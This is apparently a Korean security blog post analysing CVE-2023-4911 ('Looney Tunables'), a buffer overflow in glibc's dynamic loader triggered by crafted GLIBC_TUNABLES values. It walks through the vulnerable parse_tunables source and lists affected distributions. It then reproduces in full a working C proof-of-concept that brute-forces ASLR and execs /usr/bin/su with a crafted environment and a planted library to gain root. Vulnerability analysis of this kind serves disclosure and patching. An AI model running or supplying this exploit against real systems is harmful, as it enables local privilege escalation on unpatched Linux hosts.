1. GNU C 라이브러리 (glibc) [1]
- GNU 프로젝트가 C 표준 라이브러리를 구현한 것
> 리눅스 계열 운영체제에서 C언어로 작성된 실행파일들이 동작하기 위해 공통적으로 사용하는 기능을 쉽게 이용할 수 있도록 묶어 놓은 소프트웨어 집합
- 시스템 호출과 다양한 기본 기능들(open, malloc, printf 등)을 포함하기 때문에 대부분의 시스템에서 사용
1.1 Dynamic Loader
- 프로그램 준비 및 실행을 담당하는 glibc의 중요한 구성요소
- 프로그램을 실행할 경우 Dynamic Loader는 다음과 같이 동작
① 해당 프로그램을 검사하여 필요한 공유 라이브러리(.io) 결정
② 결정된 공유 라이브러리를 검색하여 메모리에 로드
③ 런타임에 실행 파일과 공유 라이브러리 연결
④ 함수 및 변수 참조와 같은 레퍼런스를 확인하여 프로그램 실행을 위한 모든 것이 설정되었는지 확인
2. 취약점
- glibcd의 Dynamic Loader인 id.so의 GLIBC_TUNABLES 환경변수를 처리하는 과정에서 발생하는 버퍼 오버 플로우 취약점
- 해당 취약점은 2021년 04월 (glibc 2.34) 커밋 2ed18c부터 존재했던 것으로 확인됨
영향받는 버전
- Fedora 37, 38 버전
- Ubuntu 22.04, 23.04 버전
- Debian 12, 13 버전
※ 대부분의 리눅스 배포판에서 glibc를 사용하기 때문에 다른 리눅스 배포판에도 취약점이 존재할 가능성이 높음
※ 즉, 대부분의 리눅스 배포판에 해당 취약점이 존재한다는 의미
※ 단, Alpine Linux는 라이브러리로 glibc가 아닌 musl libc를 사용하기 때문에 해당 취약점에 영향을 받지 않음
2.1 GLIBC_TUNABLES [3]
- 사용자들이 런타임 시 라이브러리의 행동 패턴을 조정할 수 있게 해 주는 것
- 사용자가 매번 필요할 때마다 컴파일링 작업을 다시 하지 않아도 되어 편리성을 높여줌
> 사용자들이 직접 값을 입력해 설정하는 것으로, 부정한 값이 입력될 위험성이 존재
2.2 취약점 상세
- 최초 실행시 id.so는 __tunables_init ()를 호출하며, 해당 함수의 기능은 다음과 같음
① 모든 환경 변수 조회 (Line 279)
② 존재하는 환경 변수 중 환경 변수 GLIBC_TUNABLE 검색 (Line 282)
③ 위 과정에서 검색한 각각의 GLIBC_TUNABLE 환경 변수의 사본 생성 (Line 284)
④ parse_tunables()를 호출하여 사본 GLIBC_TUNABLE 환경 변수 처리 및 검사 (Line 286) ---> 취약점 발생 지점
⑤ 원본 GLIBC_TUNABLE 환경 변수를 사본 GLIBC_TUNABLE 환경 변수로 변경 (Line 288)
269 void
270 __tunables_init (char **envp)
271 {
272 char *envname = NULL;
273 char *envval = NULL;
274 size_t len = 0;
275 char **prev_envp = envp;
...
279 while ((envp = get_next_env (envp, &envname, &len, &envval,
280 &prev_envp)) != NULL)
281 {
282 if (tunable_is_name ("GLIBC_TUNABLES", envname))
283 {
284 char *new_env = tunables_strdup (envname);
285 if (new_env != NULL)
286 parse_tunables (new_env + len + 1, envval);
287 /* Put in the updated envval. */
288 *prev_envp = new_env;
289 continue;
290 }
- parse_tunables() 함수는 복사본을 삭제하고 tunestr에서 모든 위험한 튜너블(SXID_ERASE)을 제거함
> 첫 번째 인수는 사본 GLIBC_TUNABLES을, 두 번째 인수는 원본 GLIBC_TUNABLES를 가리킴
> 정상적인 형태는 "tunable1= aaa:tunable2= bbb" 형태인 것으로 판단됨
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168 char *p = tunestr;
169 size_t off = 0;
170
171 while (true)
172 {
173 char *name = p;
174 size_t len = 0;
175
176 /* First, find where the name ends. */
177 while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178 len++;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if (p[len] == '\0')
183 {
184 if (__libc_enable_secure)
185 tunestr[off] = '\0';
186 return;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if (p[len]== ':')
192 {
193 p += len + 1;
194 continue;
195 }
196
197 p += len + 1;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char *value = &valstring[p - tunestr];
201 len = 0;
202
203 while (p[len] != ':' && p[len] != '\0')
204 len++;
205
206 /* Add the tunable if it exists. */
207 for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208 {
209 tunable_t *cur = &tunable_list[i];
210
211 if (tunable_is_name (cur->name, name))
212 {
...
219 if (__libc_enable_secure)
220 {
221 if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222 {
223 if (off > 0)
224 tunestr[off++] = ':';
225
226 const char *n = cur->name;
227
228 while (*n != '\0')
229 tunestr[off++] = *n++;
230
231 tunestr[off++] = '=';
232
233 for (size_t j = 0; j < len; j++)
234 tunestr[off++] = value[j];
235 }
236
237 if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238 break;
239 }
240
241 value[len] = '\0';
242 tunable_initialize (cur, value);
243 break;
244 }
245 }
246
247 if (p[len] != '\0')
248 p += len + 1;
249 }
250 }
- GLIBC_TUNABLE 환경 변수가 "tunable1=tunable2=AAA" 처럼 예기치 않은 입력 값을 포함하는 경우 parse_tunables()에서 취약점이 발생
> 입력값 전체를 유효한 값으로 복사하며, 이는 Tunables이 SXID_IGNORE 유형일 때 발생
① while(true)를 첫 번째 반복 동안 "tunable1=tunable2=aaa"가 tunestr에 복사 (Line 221~235)
② p는 증가하지 않고 여전히 "tunable1", 즉 "tunable2= aaa"의 값을 가리킴 (Line 247~248)
> Line 203~204에서 ':'이 발견되지 않았기 때문
③ while(true)를 두 번째 반복 동안 "tunable2= aaa"가 tunestr에 복사되며 tunestr에서 버퍼 오버 플로우 발생
- 공격자는 해당 취약점을 악용해 SUID 등이 설정된 프로그램을 실행시켜 권한을 상승시킴 [4][5]
2.3 PoC [6]
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/stat.h>
#include <sys/wait.h>
#define ENV_ITEM_SIZE ((32*4096) - 1)
// No ASLR
//#define STACK_TARGET 0x00007ffffff0c808
// ASLR Brute
#define STACK_TARGET 0x00007ffdfffff018
char * p64(uint64_t val) {
char * ret = malloc(8);
memset(ret, 0, 8);
memcpy(ret, &val, 8);
ret[7] = 0;
return ret;
}
char * allocation_helper(const char * base, int size, char fill) {
char * ret = NULL;
char * chunk = malloc(size + 1);
memset(chunk, fill, size);
chunk[size] = 0;
asprintf(&ret, "%s%s", base, chunk);
free(chunk);
return ret;
}
char * create_u64_filler(uint64_t val, size_t size) {
uint64_t * ret = malloc(size + 1);
// We need to make sure the allocation does not contain a premature null byte
memset(ret, 0x41, size);
for (int i = 0; i < size / 8; i++) {
ret[i] = val;
}
// force null-termination
char* ret2 = (char*)ret;
ret2[size] = 0;
return ret2;
}
void setup_dir() {
// TODO: This is very much not compatible with all distros
system("rm -rf ./\x55");
mkdir("./\x55", 0777);
system("cp /usr/lib/x86_64-linux-gnu/libc.so.6 ./\x55/libc.so.6");
system("cp ./suid_lib.so ./\x55/libpam.so.0");
system("cp ./suid_lib.so ./\x55/libpam_misc.so.0");
}
int main(int argc, char** argv) {
setup_dir();
int num_empty = 0x1000;
int env_num = num_empty + 0x11 + 1;
char ** new_env = malloc((sizeof(char *) * env_num) + 1);
memset(new_env, 0, (sizeof(char *) * env_num) + 1);
printf("new_env: %p\n", new_env);
if (new_env == NULL) {
printf("malloc failed\n");
exit(1);
}
// This is purely vibes based. Could probably be a lot better.
const char * normal = "GLIBC_TUNABLES=";
const char * normal2 = "GLIBC_TUNABLES=glibc.malloc.mxfast:";
const char * overflow = "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=";
int i = 0;
// Eat the RW section of the binary, so our next allocations get a new mmap
new_env[i++] = allocation_helper(normal, 0xd00, 'x');
new_env[i++] = allocation_helper(normal, 0x1000 - 0x20, 'A');
new_env[i++] = allocation_helper(overflow, 0x4f0, 'B');
new_env[i++] = allocation_helper(overflow, 0x1, 'C');
new_env[i++] = allocation_helper(normal2, 0x2, 'D');
// the remaining env is empty strings
for (; i < env_num; i++) {
new_env[i] = "";
if (i > num_empty)
break;
}
// This overwrites l->l_info[DT_RPATH] with a pointer to our stack guess.
new_env[0xb8] = p64(STACK_TARGET);
// Create some -0x30 allocations to target a stray 0x55 byte to use as our R path.
for (; i < env_num - 1; i++) {
new_env[i] = create_u64_filler(0xffffffffffffffd0, ENV_ITEM_SIZE);
}
new_env[i-1] = "12345678901"; // padding to allign the -0x30's
printf("Done setting up env\n");
char * new_argv[3] = {0};
new_argv[0] = "/usr/bin/su";
// If we get a "near miss", we want to make sure su exits with an error code.
// This happens when the guessed stack address is valid, but points to another (empty) string.
new_argv[1] = "--lmao";
printf("[+] Starting bruteforce!\n");
int attempts = 0;
while (1) {
attempts++;
if (attempts % 100 == 0)
printf("\n[+] Attempt %d\n", attempts);
int pid = fork();
if (pid < 0) {
perror("fork");
exit(1);
}
if (pid) {
// check if our child was successful.
int status = 0;
waitpid(pid, &status, 0);
if (status == 0) {
puts("[+] Goodbye");
exit(0);
}
printf(".");
fflush(stdout);
} else {
// we are the child, let's try to exec su
int rc = execve(new_argv[0], new_argv, new_env);
perror("execve");
}
}
}
- PoC 시연 참조 [7]
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [8][9][10]
> 레드햇, 우분투, 업스트림, 데비안, 젠투 등 주요 리눅스 배포판들이 보안 업데이트 발표
4. 참고
[1] https://www.gnu.org/software/libc/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-4911
[3] https://www.gnu.org/software/libc/manual/html_node/Tunables.html
[4] https://blog.qualys.com/vulnerabilities-threat-research/2023/10/03/cve-2023-4911-looney-tunables-local-privilege-escalation-in-the-glibcs-ld-so
[5] https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
[6] https://github.com/RickdeJager/CVE-2023-4911
[7] https://www.youtube.com/watch?v=uw0EJ5zGEKE&list=PPSV
[8] https://access.redhat.com/security/cve/CVE-2023-4911
[9] https://security-tracker.debian.org/tracker/CVE-2023-4911
[10] https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4DBUQRRPB47TC3NJOUIBVWUGFHBJAFDL/
[11] https://www.boannews.com/media/view.asp?idx=122421&kind=1&search=title&find=%C7%F6%C1%B8%C7%CF%B4%C2+%B0%C5%C0%C7+%B8%F0%B5%E7+%B8%AE%B4%AA%BD%BA+%BD%C3%BD%BA%C5%DB%BF%A1%BC%AD
'취약점 > BoF' 카테고리의 다른 글
DrayTek BoF 취약점 (CVE-2024-41592, CVE-2024-41585) (0) | 2024.11.11 |
---|---|
Citrix Bleed (CVE-2023-4966) (1) | 2023.11.28 |
드림시큐리티 MagicLine4NX BoF 취약점 (0) | 2023.03.31 |